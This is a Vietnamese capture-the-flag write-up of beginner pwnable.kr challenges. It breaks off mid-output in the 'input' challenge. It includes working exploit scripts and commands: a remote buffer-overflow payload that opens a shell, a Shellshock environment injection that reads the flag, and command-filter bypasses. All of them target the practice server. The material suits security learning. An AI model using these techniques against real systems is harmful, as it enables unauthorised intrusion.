# Try hard PWNABLE.kr (Writeup) ## Things I Want to Tell Myself ... ## [Toddler's Bottle] ### FD ```txt Start day: 9/3/2025 End day: 9/3/2025 Evaluate: Beginner ``` ```txt Information: 1 point Mommy! what is a file descriptor in Linux? * try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link: https://youtu.be/971eZhMHQQw ssh fd@pwnable.kr -p2222 (pw:guest) ``` Server có 3 file ![{F03617D7-A3B7-4162-A979-9F409D9CB186}](https://hackmd.io/_uploads/SkmANXcsyg.png) Bài này đơn giản là sẽ lấy tham số truyền vào => Chuyển đổi thành số => Đem trừ cho 0x1234 => Đưa thành [file descriptor](https://www.geeksforgeeks.org/input-output-system-calls-c-create-open-close-read-write/) của hàm read để ghi giá trị vào biến buf => So sánh buf với chuỗi "LETMEWIN" => In ra flag => fd của STDIN là 0 nên giá trị cần đưa vào là 0x1234 (ở dec là 4660) ```bash fd@pwnable:~$ echo "LETMEWIN" | ./fd 4660 ``` ### collision ```txt Start day: 9/3/2025 End day: 9/3/2025 Evaluate: Beginner ``` ```txt Information: 3 point Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnable.kr -p2222 (pw:guest) ``` ![{3C9F6E0C-E1E8-4922-8EA5-F1AF1C73925B}](https://hackmd.io/_uploads/rJrDP7ciJl.png) Challenge này yêu cầu một tham số truyền vào có độ dài 20 bytes để làm passcode => Được đem đi xử lý ở hàm check_password => Sau đo so sánh với hashcode = 0x21DD09EC => Nếu khớp thì in ra flag. => Trong hàm check_password, có rất nhiều cách để có thể trả về giá trị bằng với hashcode => Tạo một script generate giá trị hợp lệ ```python import struct hashcode = 0x21DD09EC part = hashcode // 5 remainder = hashcode - part * 5 passcode = (struct.pack("<I", part) * 4) + struct.pack("<I", part + remainder) print(passcode) ``` ```bash b'\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06' ``` ```bash col@pwnable:~$ ./col $(python2 -c "print '\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06'") ``` ### bof ```txt Start day: 9/3/2025 End day: 9/3/2025 Evaluate: Easy ``` ```txt Information: 5 point Nana told me that buffer overflow is one of the most common software vulnerability. Is that true? Download : http://pwnable.kr/bin/bof Download : http://pwnable.kr/bin/bof.c Running at : nc pwnable.kr 9000 ``` Source code: ```c #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } ``` Challenge này yêu cầu dùng lỗi Buffer Overflow ở hàm **gets** để có thể ghi đè thay đổi giá trị của tham số **key** thành 0xcafebabe. ```txt +----------------+ | key | +----------------+ <- ESP (Stack Pointer) | Return Addr | +----------------+ | Saved EBP | +----------------+ | Canary | +----------------+ | overflowme | | | | | | | +----------------+ ``` Bài này có canary, tuy nhiên chỉ cần ghi đè key và thực thi được hàm **system("/bin/sh")** để lấy shell thì việc check canary sẽ không bị ảnh hưởng. ```bash Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No ``` Để đè được key thì cần padding: 32 (overflowme) + 4 (canary) + 4 (save ebp) + 4 (ret) + 8 (padding, tham số đầu tiên sẽ là ebp + 8) = 52 bytes ```python from pwn import * exe = ELF("./bof", checksec=False) # p = process(exe.path) p = remote("pwnable.kr", 9000) payload = b"A" * 52 payload += p32(0xcafebabe) p.sendline(payload) p.interactive() ``` ### flag ```txt Start day: 9/3/2025 End day: 9/3/2025 Evaluate: Beginner ``` ```txt Information: 7 point Papa brought me a packed present! let's open it. Download : http://pwnable.kr/bin/flag This is reversing task. all you need is binary ``` Bài này là một bài reverse cơ bản, mở nó lên bằng IDA thì thấy không có gì => Dùng DIE để mở lên thì thấy chương trình bị pack bởi UPX ![{0628FA38-2659-4DF8-BBD2-080BC344AFBF}](https://hackmd.io/_uploads/SJcdgNqiyg.png) Unpack và mở lên lại bằng IDA và lấy được flag ![{C6518242-69FF-442B-A205-F04208B3E01B}](https://hackmd.io/_uploads/HJFS-E9jye.png) ### mistake ```txt Start day: 3/9/2025 End day: 3/9/2025 Evaluate: Beginner ``` ```txt Information: 1 point We all make mistakes, let's move on. (don't take this too seriously, no fancy hacking skill is required at all) This task is based on real event Thanks to dhmonkey hint : operator priority ssh mistake@pwnable.kr -p2222 (pw:guest) ``` Challenge này cung cấp 4 file: flag, mistake, mistake.c và password Source code ```bash mistake@pwnable:~$ ls flag mistake mistake.c password mistake@pwnable:~$ cat mistake.c #include <stdio.h> #include <fcntl.h> #define PW_LEN 10 #define XORKEY 1 void xor(char* s, int len){ int i; for(i=0; i<len; i++){ s[i] ^= XORKEY; } } int main(int argc, char* argv[]){ int fd; if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ printf("can't open password %d\n", fd); return 0; } printf("do not bruteforce...\n"); sleep(time(0)%20); char pw_buf[PW_LEN+1]; int len; if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ printf("read error\n"); close(fd); return 0; } char pw_buf2[PW_LEN+1]; printf("input password : "); scanf("%10s", pw_buf2); // xor your input xor(pw_buf2, 10); if(!strncmp(pw_buf, pw_buf2, PW_LEN)){ printf("Password OK\n"); system("/bin/cat flag\n"); } else{ printf("Wrong Password\n"); } close(fd); return 0; } mistake@pwnable:~$ ``` Ở bài này, chương trình sẽ đọc vào 10 ký tự từ file password. Sau đó, nó yêu cầu người dùng nhập vào 10 ký tự rồi đem đi xor từng ký tự nhập vào với 1 => Đem đi so sánh với password được lấy từ file password => Nếu khớp thì sẽ in ra flag. => Để khai thác thì ghi đè **pw_buf2** thành giá trị sau khi xor của **pw_buf1** (Lỗi BOF ở hàm **scanf**) => Ví dụ: `pw_buf1 = 'aaaaaaaaaa'` thì `pw_buf2 = '``````````'`. ```bash mistake@pwnable:~$ ./mistake do not bruteforce... ``````````aaaaaaaaaa input password : Password OK Mommy, the operator priority always confuses me :( mistake@pwnable:~$ ``` ### shellshock ```txt Start day: 3/9/2025 End day: 3/9/2025 Evaluate: Beginner ``` ```txt Information: 1 point Mommy, there was a shocking news about bash. I bet you already know, but lets just make it sure :) ssh shellshock@pwnable.kr -p2222 (pw:guest) ``` Challenge gồm 4 file: bash, flag, shellshork, shellshork.c ![{9E0EDFC6-6878-4720-BA01-850A5E77C9A6}](https://hackmd.io/_uploads/rJ3TiVcjke.png) - Với bài này, mình chưa biết shellshork là gì, nên sẽ đi tìm hiểu trước. > Shellshock là một lỗ hổng bảo mật nghiêm trọng được phát hiện vào năm 2014 trong GNU Bash, cho phép kẻ tấn công thực thi mã tùy ý trên hệ thống. > Lỗ hổng xảy ra khi Bash xử lý các biến môi trường (environment variables). Nếu một biến môi trường chứa một hàm (function) và tiếp tục có lệnh ngoài sau đó, Bash sẽ thực thi lệnh đó. > Ví dụ: `env var='() {(a)=>\' bash -c "echo Hacked"; echo "Hello"` > Giải thích: > env var='() {(a)=>\' bash -c "echo Hacked"': Tạo một biến môi trường x chứa một function trống. echo "Hello": Chạy một lệnh bash, nhưng do lỗi Shellshock, Bash sẽ thực thi echo HACKED trước cả khi chạy echo Hello. Dựa vào những gì mình tìm hiểu được về **shellshork** thì bài này cần phải tạo một biến ENV chứa lỗi shellshork in ra flag => Run binary => Get flag ```bash shellshock@pwnable:~$ env x='() { :;}; /bin/cat flag' ./shellshock only if I knew CVE-2014-6271 ten years ago..!! Segmentation fault (core dumped) shellshock@pwnable:~$ ``` ### blackjack ``` Start day: 9/3/2025 End day: 9/3/2025 Evaluate: Beginner ``` ```txt Information: 1 point Hey! check out this C implementation of blackjack game! I found it online * http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html I like to give my flags to millionares. how much money you got? Running at : nc pwnable.kr 9009 ``` Đọc qua mã nguồn thì nhận thấy bài này mắc phải lỗi là không kiểm tra số tiền đặt cược của người chơi => Người chơi bet tiền âm < 0 và thua cuộc => Tiền của người chơi tăng lên thay vì giảm xuống. => Bet 1.000.000 rồi cứ bốc tiếp tới khi thua => Bú flag (Lần đầu tiên trong đời chơi Xì dách mà 20 điểm vẫn không được dằn @^@) ### lotto ``` Start day: 9/3/2025 End day: 9/3/2025 Evaluate: Beginner ``` ``` Information: 2 point Mommy! I made a lotto program for my homework. do you want to play? ssh lotto@pwnable.kr -p2222 (pw:guest) ``` Challenge này được cấp 3 file: flag, lotto, lotto.c ```bash lotto@pwnable:~$ ls flag lotto lotto.c lotto@pwnable:~$ cat lotto.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> unsigned char submit[6]; void play(){ int i; printf("Submit your 6 lotto bytes : "); fflush(stdout); int r; r = read(0, submit, 6); printf("Lotto Start!\n"); //sleep(1); // generate lotto numbers int fd = open("/dev/urandom", O_RDONLY); if(fd==-1){ printf("error. tell admin\n"); exit(-1); } unsigned char lotto[6]; if(read(fd, lotto, 6) != 6){ printf("error2. tell admin\n"); exit(-1); } for(i=0; i<6; i++){ lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45 } close(fd); // calculate lotto score int match = 0, j = 0; for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } } // win! if(match == 6){ system("/bin/cat flag"); } else{ printf("bad luck...\n"); } } void help(){ printf("- nLotto Rule -\n"); printf("nlotto is consisted with 6 random natural numbers less than 46\n"); printf("your goal is to match lotto numbers as many as you can\n"); printf("if you win lottery for *1st place*, you will get reward\n"); printf("for more details, follow the link below\n"); printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n"); printf("mathematical chance to win this game is known to be 1/8145060.\n"); } int main(int argc, char* argv[]){ // menu unsigned int menu; while(1){ printf("- Select Menu -\n"); printf("1. Play Lotto\n"); printf("2. Help\n"); printf("3. Exit\n"); scanf("%d", &menu); switch(menu){ case 1: play(); break; case 2: help(); break; case 3: printf("bye\n"); return 0; default: printf("invalid menu\n"); break; } } return 0; } lotto@pwnable:~$ ``` Binary này dùng để so sánh 6 bytes người dùng nhập vào với 6 bytes được random ngẫu nhiên nằm trong khoảng (1-45). Tuy nhiên lỗi là ở đoạn code: ```c for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } } ``` Chỉ cần nhập một chuỗi ký tự có cả 6 ký tự như nhau (Mã ascii từ 1 - 45) => Chỉ cần 1 ký tự random trùng với ký tự được nhập => Get flag ```python from pwn import * sh = ssh('lotto', 'pwnable.kr', password='guest', port=2222) p = sh.process('./lotto') for i in range(45): p.sendlineafter(b"Exit\n", b"1") p.sendlineafter(b"bytes : ", b'!!!!!!') p.recvline() data = p.recvline() if b"bad luck..." not in data: print(data) break ``` ```bash └─$ python3 sol.py [+] Connecting to pwnable.kr on port 2222: Done [*] lotto@pwnable.kr: Distro Ubuntu 16.04 OS: linux Arch: amd64 Version: 4.4.179 ASLR: Enabled SHSTK: Disabled IBT: Disabled [+] Starting remote process None on pwnable.kr: pid 415165 [!] ASLR is disabled for '/home/lotto/lotto'! b'sorry mom... I FORGOT to check duplicate numbers... :(\n' ``` ### cmd1 ``` Start day: 9/3/2025 End day: 9/3/2025 Evaluate: Beginner ``` ``` Information: 1 point Mommy! what is PATH environment in Linux? ssh cmd1@pwnable.kr -p2222 (pw:guest) ``` Source code ```bash cmd1@pwnable:~$ ls cmd1 cmd1.c flag cmd1@pwnable:~$ cat cmd1.c #include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r; } int main(int argc, char* argv[], char** envp){ putenv("PATH=/thankyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0; } cmd1@pwnable:~$ ``` Bài này lấy tham số truyền vào đem đi check filter với các giá trị ['flag', 'sh', 'tmp'], nếu trùng thì sẽ kết thúc chương trình. Đồng thời khi bắt đầu chạy thì ghi giá trị của biến môi trường `PATH` thành `/thankyouverymuch` khiến cho việc sử dụng các lệnh thông qua relative path không được. => Dùng absolute path + bypass filter Payload: `/bin/cat fla?` ```bash cmd1@pwnable:~$ ./cmd1 "/bin/cat fla?" mommy now I get what PATH environment is for :) cmd1@pwnable:~$ ``` ### random ``` Start day: 9/3/2025 End day: 9/3/2025 Evaluate: Beginner ``` ```txt Information: 1 point Daddy, teach me how to use random value in programming! ssh random@pwnable.kr -p2222 (pw:guest) ``` Source code ```bash random@pwnable:~$ ls flag random random.c random@pwnable:~$ cat random.c #include <stdio.h> int main(){ unsigned int random; random = rand(); // random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!\n"); system("/bin/cat flag"); return 0; } printf("Wrong, maybe you should try 2^32 cases.\n"); return 0; } random@pwnable:~$ ``` Ở challenge này, `random = rand();` được dùng không đúng cách khiến cho `rand()` luôn trả về một giá trị duy nhất. => Debug và lấy được giá trị random này là **0x6b8b4567** => key cần nhập là 0x6b8b4567 ^ 0xdeadbeef = 3039230856 ```bash 0x0000000000400606 in main () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ─────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────── *RAX 0x6b8b4567 RBX 0x7fffffffd988 —▸ 0x7fffffffdc5f ◂— '/mnt/d/Security/PeginWN/Challenge/pwnalbekr/random/random' *RCX 0x7ffff7fa7028 (randtbl+8) ◂— 0x6774a4cd16a5bce3 *RDX 0 *RDI 0x7ffff7fa76a0 (unsafe_state) —▸ 0x7ffff7fa7034 (randtbl+20) ◂— 0x61048c054e508aaa *RSI 0x7fffffffd834 ◂— 0x1171ea006b8b4567 *R8 0x7ffff7fa7034 (randtbl+20) ◂— 0x61048c054e508aaa *R9 0x7ffff7fa70a0 (pa_next_type) ◂— 8 R10 3 *R11 0x7ffff7e04430 (rand) ◂— sub rsp, 8 R12 0 R13 0x7fffffffd998 —▸ 0x7fffffffdc99 ◂— 'SHELL=/bin/bash' R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0 R15 0 RBP 0x7fffffffd870 ◂— 1 RSP 0x7fffffffd860 ◂— 0 *RIP 0x400606 (main+18) ◂— mov dword ptr [rbp - 4], eax ──────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────── 0x400601 <main+13> call rand@plt <rand@plt> ► 0x400606 <main+18> mov dword ptr [rbp - 4], eax [0x7fffffffd86c] <= 0x6b8b4567 0x400609 <main+21> mov dword ptr [rbp - 8], 0 [0x7fffffffd868] <= 0 0x400610 <main+28> mov eax, 0x400760 EAX => 0x400760 ◂— and eax, 0x6f470064 /* '%d' */ 0x400615 <main+33> lea rdx, [rbp - 8] RDX => 0x7fffffffd868 ◂— 0x6b8b456700000000 0x400619 <main+37> mov rsi, rdx RSI => 0x7fffffffd868 ◂— 0x6b8b456700000000 0x40061c <main+40> mov rdi, rax RDI => 0x400760 ◂— and eax, 0x6f470064 /* '%d' */ 0x40061f <main+43> mov eax, 0 EAX => 0 0x400624 <main+48> call __isoc99_scanf@plt <__isoc99_scanf@plt> 0x400629 <main+53> mov eax, dword ptr [rbp - 8] 0x40062c <main+56> xor eax, dword ptr [rbp - 4] ───────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffd860 ◂— 0 01:0008│-008 0x7fffffffd868 —▸ 0x7fffffffd900 —▸ 0x7fffffffd998 —▸ 0x7fffffffdc99 ◂— 'SHELL=/bin/bash' 02:0010│ rbp 0x7fffffffd870 ◂— 1 03:0018│+008 0x7fffffffd878 —▸ 0x7ffff7de9d68 (__libc_start_call_main+120) ◂— mov edi, eax 04:0020│+010 0x7fffffffd880 —▸ 0x7fffffffd970 —▸ 0x7fffffffd978 ◂— 0x38 /* '8' */ 05:0028│+018 0x7fffffffd888 —▸ 0x4005f4 (main) ◂— push rbp 06:0030│+020 0x7fffffffd890 ◂— 0x100400040 /* '@' */ 07:0038│+028 0x7fffffffd898 —▸ 0x7fffffffd988 —▸ 0x7fffffffdc5f ◂— '/mnt/d/Security/PeginWN/Challenge/pwnalbekr/random/random' ─────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────── ► 0 0x400606 main+18 1 0x7ffff7de9d68 __libc_start_call_main+120 2 0x7ffff7de9e25 __libc_start_main+133 3 0x400539 _start+41 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> ``` **POC** ```bash random@pwnable:~$ ./random 3039230856 Good! Mommy, I thought libc random is unpredictable... random@pwnable:~$ ``` ### leg (2 pt) ``` Start day: 9/3/2025 End day: 9/3/2025 Evaluate: Easy ``` ```txt Information: 2 point Daddy told me I should study arm. But I prefer to study my leg! Download : http://pwnable.kr/bin/leg.c Download : http://pwnable.kr/bin/leg.asm ssh leg@pwnable.kr -p2222 (pw:guest) ``` Source code **leg.c** ```c #include <stdio.h> #include <fcntl.h> int key1(){ asm("mov r3, pc\n"); } int key2(){ asm( "push {r6}\n" "add r6, pc, $1\n" "bx r6\n" ".code 16\n" "mov r3, pc\n" "add r3, $0x4\n" "push {r3}\n" "pop {pc}\n" ".code 32\n" "pop {r6}\n" ); } int key3(){ asm("mov r3, lr\n"); } int main(){ int key=0; printf("Daddy has very strong arm! : "); scanf("%d", &key); if( (key1()+key2()+key3()) == key ){ printf("Congratz!\n"); int fd = open("flag", O_RDONLY); char buf[100]; int r = read(fd, buf, 100); write(0, buf, r); } else{ printf("I have strong leg :P\n"); } return 0; } ``` **leg.asm** ```asm (gdb) disass main Dump of assembler code for function main: 0x00008d3c <+0>: push {r4, r11, lr} 0x00008d40 <+4>: add r11, sp, #8 0x00008d44 <+8>: sub sp, sp, #12 0x00008d48 <+12>: mov r3, #0 0x00008d4c <+16>: str r3, [r11, #-16] 0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132> 0x00008d54 <+24>: bl 0xfb6c <printf> 0x00008d58 <+28>: sub r3, r11, #16 0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136> 0x00008d60 <+36>: mov r1, r3 0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf> 0x00008d68 <+44>: bl 0x8cd4 <key1> 0x00008d6c <+48>: mov r4, r0 0x00008d70 <+52>: bl 0x8cf0 <key2> 0x00008d74 <+56>: mov r3, r0 0x00008d78 <+60>: add r4, r4, r3 0x00008d7c <+64>: bl 0x8d20 <key3> 0x00008d80 <+68>: mov r3, r0 0x00008d84 <+72>: add r2, r4, r3 0x00008d88 <+76>: ldr r3, [r11, #-16] 0x00008d8c <+80>: cmp r2, r3 0x00008d90 <+84>: bne 0x8da8 <main+108> 0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140> 0x00008d98 <+92>: bl 0x1050c <puts> 0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144> 0x00008da0 <+100>: bl 0xf89c <system> 0x00008da4 <+104>: b 0x8db0 <main+116> 0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148> 0x00008dac <+112>: bl 0x1050c <puts> 0x00008db0 <+116>: mov r3, #0 0x00008db4 <+120>: mov r0, r3 0x00008db8 <+124>: sub sp, r11, #8 0x00008dbc <+128>: pop {r4, r11, pc} 0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9 0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9 0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0 0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc 0x00008dd0 <+148>: andeq r10, r6, r4, asr #9 End of assembler dump. (gdb) disass key1 Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr End of assembler dump. (gdb) disass key2 Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 0x00008d00 <+16>: bx r6 0x00008d04 <+20>: mov r3, pc 0x00008d06 <+22>: adds r3, #4 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lr End of assembler dump. (gdb) disass key3 Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr End of assembler dump. (gdb) ``` Nhiệm vụ của bài này là phải đọc hiểu code để tìm ra được giá trị của `key1() + key2() + key3()` - Function **Key1**: Tại 0x00008cdc, chương trình gán giá trị của **pc** (Thanh ghi lệnh trong kiến trúc ARM) vào r3 -> r0 => Giá trị return - Ở đây **pc** sẽ có giá trị là **0x00008cdc + 8** vì trong ARM có cơ chế pipeline 3 giai đoạn (fetch, decode, execute) => ***0x00008ce4*** - Function **Key2**: Tại 0x00008d04, chương trình làm tương tự và ngay sau đó cộng thêm 4. - Tuy nhiên, tại lệnh `0x00008cfc <+12>: add r6, pc, #1` và `0x00008d00 <+16>: bx r6`, chương trình đã nhảy đến địa chỉ lẻ (+1) => Chuyển sang thumb mode => Các lệnh giảm đi 1 nữa giá trị - Điều này khiến pc nhận giá trị: 0x00008d04 + 4 => Sau đó tăng lên 4 nữa => 0x00008d04 + 4 + 4 = ***0x8d0c*** - Function **Key3**: Ở hàm này, giá trị trả về sẽ là địa chỉ trở về của câu lệnh => Tức là địa chỉ tiếp theo của hàm main ngay sau khi call hàm **key3** => ***0x00008d80*** (<+68>: mov r3, r0) => Giá trị cần nhập là: 0x00008ce4 + 0x8d0c + 0x00008d80 = 108400 **POC** ```bash / $ ./leg Daddy has very strong arm! : 108400 Congratz! My daddy has a lot of ARMv5te muscle! ``` ### blukat (3 pt) ``` Start day: 9/3/2025 End day: 9/3/2025 Evaluate: F*ck ``` ```txt Information: 3 point Sometimes, pwnable is strange... hint: if this challenge is hard, you are a skilled player. ssh blukat@pwnable.kr -p2222 (pw: guest) ``` Lừa của lừa @@ Source code ```bash blukat@pwnable:~$ ls blukat blukat.c password blukat@pwnable:~$ cat blukat.c #include <stdio.h> #include <string.h> #include <stdlib.h> #include <fcntl.h> char flag[100]; char password[100]; char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+"; void calc_flag(char* s){ int i; for(i=0; i<strlen(s); i++){ flag[i] = s[i] ^ key[i]; } printf("%s\n", flag); } int main(){ FILE* fp = fopen("/home/blukat/password", "r"); fgets(password, 100, fp); char buf[100]; printf("guess the password!\n"); fgets(buf, 128, stdin); if(!strcmp(password, buf)){ printf("congrats! here is your flag: "); calc_flag(password); } else{ printf("wrong guess!\n"); exit(0); } return 0; } blukat@pwnable:~$ ``` Bài này canary bật hết nên ý tưởng lúc đầu là ghi đè địa chỉ trở về để in ra flag bị dập tắt ngay @@ Loay hoay mãi mình mới nhận ra nội dung của file password mình có quyền đọc nó. Nhưng ... ```bash blukat@pwnable:~$ cat password cat: password: Permission denied blukat@pwnable:~$ ``` Nhìn nó kì kì :> ```sh blukat@pwnable:~$ ls -l password -rw-r----- 1 root blukat_pwn 33 Jan 6 2017 password blukat@pwnable:~$ id uid=1104(blukat) gid=1104(blukat) groups=1104(blukat),1105(blukat_pwn) blukat@pwnable:~$ ``` => Nội dung của file password là: `cat: password: Permission denied` Đ*m ### cmd2 (9 pt) ``` Start day: 10/3/2025 End day: 10/3/2025 Evaluate: Easy ``` ```txt Information: 9 point Daddy bought me a system command shell. but he put some filters to prevent me from playing with it without his permission... but I wanna play anytime I want! ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1) ``` Source code ```bash cmd2@pwnable:~$ ls cmd2 cmd2.c flag cmd2@pwnable:~$ cat cmd2.c #include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "=")!=0; r += strstr(cmd, "PATH")!=0; r += strstr(cmd, "export")!=0; r += strstr(cmd, "/")!=0; r += strstr(cmd, "`")!=0; r += strstr(cmd, "flag")!=0; return r; } extern char** environ; void delete_env(){ char** p; for(p=environ; *p; p++) memset(*p, 0, strlen(*p)); } int main(int argc, char* argv[], char** envp){ delete_env(); putenv("PATH=/no_command_execution_until_you_become_a_hacker"); if(filter(argv[1])) return 0; printf("%s\n", argv[1]); system( argv[1] ); return 0; } cmd2@pwnable:~$ ``` Ở bài này, các biến môi trường đều đã bị gỡ và dấu "/" cũng đã bị filter nên không thể dùng lại cách của bài **cmd1**. => Tuy nhiên ở đây, vẫn có thể truyền bash script vào để hàm system thực hiện => Viết script nhận giá trị nhập vào, sau đó thực thi nó. **Script** ```bash read cmd echo $cmd ``` => Biến nó thành one line: `$(read cmd; echo $cmd)` **POC** ```bash cmd2@pwnable:~$ ./cmd2 '$(read cmd; echo $cmd)' $(read cmd; echo $cmd) /bin/ls cmd2 cmd2.c flag cmd2@pwnable:~$ ./cmd2 '$(read cmd; echo $cmd)' $(read cmd; echo $cmd) /bin/cat flag FuN_w1th_5h3ll_v4riabl3s_haha cmd2@pwnable:~$ ``` ### input (4 pt) ``` Start day: 11/3/2025 End day: 11/3/2025 Evaluate: Beginner ``` ```txt Information: 4 points Mom? how can I pass my input to a computer program? ssh input2@pwnable.kr -p2222 (pw:guest) ``` Source code ```bash input2@pwnable:~$ ls flag input input.c input2@pwnable:~$ cat input.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int main(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr\n"); printf("Let's see if you know how to give input to program\n"); printf("Just give me correct inputs then you will get the flag :)\n"); // argv if(argc != 100) return 0; if(strcmp(argv['A'],"\x00")) return 0; if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; printf("Stage 1 clear!\n"); // stdio char buf[4]; read(0, buf, 4); if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4); if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n"); // env if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; printf("Stage 3 clear!\n"); // file FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n"); // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n"); // here's your flag system("/bin/cat flag"); return 0; } input2@pwnable:~$ ``` Challenge này yêu cầu người chơi biết các cách để truyền dữ liệu vào trong một chương trình. **Solution** ```python from pwn import * # Stage 1 state1 = ['a'] * 100 state1[65] = '\x00' state1[66] = '\x20\x0a\x0d' state1[67] = '1337' # Stage 2 stdin, wstdin = os.pipe() stderr, wstderr = os.pipe() os.write(wstdin, b"\x00\x0a\x00\xff") os.write(wstderr, b"\x00\x0a\x02\xff") # Stage 3 env = {"\xde\xad\xbe\xef": "\xca\xfe\xba\xbe"} # Stage 4 with open("\x0a", "wb") as f: f.write(b"\x00\x00\x00\x00") p = process(executable="input" ,argv=state1, stdin=stdin, stderr=stderr, env=env) # Stage 5 r = remote("0", 1337) r.sendline(b"\xde\xad\xbe\xef") p.interactive() ``` **POC** ```bash input2@pwnable:~$ cd /tmp/ input2@pwnable:/tmp$ mkdir solshr3wd input2@pwnable:/tmp$ cd solshr3wd input2@pwnable:/tmp/solshr3wd$ ln -s /home/input2/flag flag input2@pwnable:/tmp/solshr3wd$ nano input2.py Unable to create directory /home/input2/.nano: Permission denied It is required for saving/loading search history or cursor positions. Press Enter to continue input2@pwnable:/tmp/solshr3wd$ python input2.py [+] Starting local process '/home/input2/input': pid 85739 [+] Opening connection to 0 on port 1337: Done [*] Closed connection to 0 port 1337 [*] Switching to interactive mode Welcome to pwnable.kr Let's see if you know how to give input to program Just give me correct inputs then you will get the flag :) Stage 1 clear! Stage 2 clear! Stage 3 clear! Stage 4 